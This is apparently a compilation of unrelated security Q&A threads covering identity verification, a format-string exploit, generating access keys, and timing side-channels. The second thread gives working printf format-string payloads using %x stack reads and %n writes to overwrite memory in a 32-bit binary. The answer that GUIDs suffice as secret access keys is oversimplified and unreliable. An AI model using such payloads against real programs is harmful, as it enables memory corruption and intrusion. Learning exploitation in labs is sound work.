The best solution would be some kind of actual identity federation. Sending an email/text to the users contact information that is already in the user database with a unique link would at least prove that they control the phone or email account.


Help with Format String Exploit I am working on a 32-bit binary which reads an input from the user and uses that input as a format string for printf.

I need to overwrite a specific address with a single byte.

The issue is that I am not able to overwrite the address with the expected value.

I use the following approach and I need help to understand why the incorrect value is being written at the chosen memory address.

Example:

Memory address to be overwritten: 0xaabbccdd

$ echo -n $(python -c 'print "\xdd\xcc\xbb\xaa" + "%x" * 6') | ./bin

�̻�ffffd0a81814ffffd34556557000aabbccdd

So, I know that when I enter %x, 6 times, the address that I want to overwrite will be popped from the stack. So, using the 6th %x, I can interact with this memory address.

To read the contents of 0xaabbccdd, I would do:

$ echo -n $(python -c 'print "\xdd\xcc\xbb\xaa" + "%x" * 5 + "%s"') | ./bin
�̻�ffffd0a81814ffffd34556557000aabbccdd

Now, I want to write 0x18 to the address: 0xaabbccdd.

0x18 = 24 (in decimal).

If I use %x 5 times, then the number of bytes written by printf are:

4 bytes -> corresponding to address: 0xaabbccdd
5 DWORDs from the stack = 5 * 4 = 20 bytes

so, %n should write (20 + 4) = 24 bytes at the memory address 0xaabbccdd with the below format string:

echo -n $(python -c 'print "\xdd\xcc\xbb\xaa" + "%x" * 5 + "%n') | ./bin

Instead, it overwrites the address with the value, 0x20.

I am not able to understand, why those extra 2 bytes?

%n is supposed to write the number of bytes printed by printf so far.

I'm not sure exactly where the extra 2 bytes came from either, but this is easy to work around. You simply need to decrease the total number of bytes written by 2. Every time you use %x, 4 bytes are added. You can replace the last %x with something that only prints 2 bytes, such as %2c or %hx, resulting in:

"\xdd\xcc\xbb\xaa" + "%x" * 4 + "%hx" + "%n'


Access Key In URL - Securing The Unsecured! I'm having some difficulties doing this the right way (as much as it can go).
Some time ago, I've asked a question here, asking for help on how to implement sending an access link through email.

First of, I know this is terribly insecure from the beginning, but we have our reasons so let's leave that aside.

The Idea

The idea basically is sending an email with a long-living link that gives access to a very specific area of our app.
Example link: ourwebsite.com/users/ACCESS-KEY

The Attack I Want To Avoid

A user guessing another access key using his own.

What I Was Suggested

In my former question, I was suggested using a random string as the access key which'll be saved in my database.
I've been doing a bit of research, and I'm worried my PRNG won't be random enough, especially since I'm generating a bunch of access keys at a time.
I've been traumatized by C# lessons in school where my "random" function would change output every 1000 or so iterations.

I'm thinking about using Random.org to have a truly random seed, but that seems a bit of an overkill.

My Thoughts

I have 4 options which I want to check with you guys before I succumb to Random.org -

Just using the PRNG, checking beforehand how it behaves (Node.js's PRNG), maybe implementing a sleep(500) between generations. If the result are similar but not identical, hash it with SHA-2.
Taking the user ID and hashing it thoroughly with PBKDF2 (does it matter?), save it in DB and just send that.
Using an implemented PRNG such as Mersenee Twister, as suggested in this stackoverflow question.
Other stuff which I know nothing about such as a cipher which only I know how to decrypt, or JWTs like I'm using for my regular users.

What do you think?
Thanks for any assist!
I appreciate taking the time to read this.

All you'll need in this case is GUID's for the key. Most implementations are random, and they're always going to be unique.

Of course you could AES encrypt it, but that doesn't really add any additional security over and above using standard GUID's.


Timing side-channel attack example I understand that timing side-channel attack is a measurement of time taken to execute cryptographic algorithms. I'd like to see a simple example that explains how timing attack takes a place on any cryptographic algorithm.

Thank you.

One tangible example is timing attack on string comparison. It works by measuring how much it takes for the application to compare 2 strings.

The default string comparison implementations in nearly all programming languages are optimized and they work by comparing 2 strings character by character and they alert a mismatch as soon as they see a difference between the 2 characters currently being compared.

So if we have this code in our application:

def string_compare(a, b) :
    if (a == b)
        return True
    else
        return False
1: string_compare('abcdefg', 'abctyf2')
2: string_compare('abcdefg', 'abcdefb')

What happens is that (1) and (2) are going to take different amount of time to run. (1) fails faster than (2) so if we change our input (second string) one character at a time by measuring the time it takes for the function to return, we can guess the first string.

To mitigate this timing attack we have to change our code so that it takes a fixed amount of time regardless of what the inputs are:

def safe_string_compare(a, b) :
    if (sha256(a) == sha256(b))
        return True
    else
        return False
OR

def safe_string_compare(a, b) :
    if len(a) != len(b):
        return False

    result = 0
    for x, y in zip(a, b) :
        result |= x ^ y
    return result == 0

I find this reference helpful: coding rules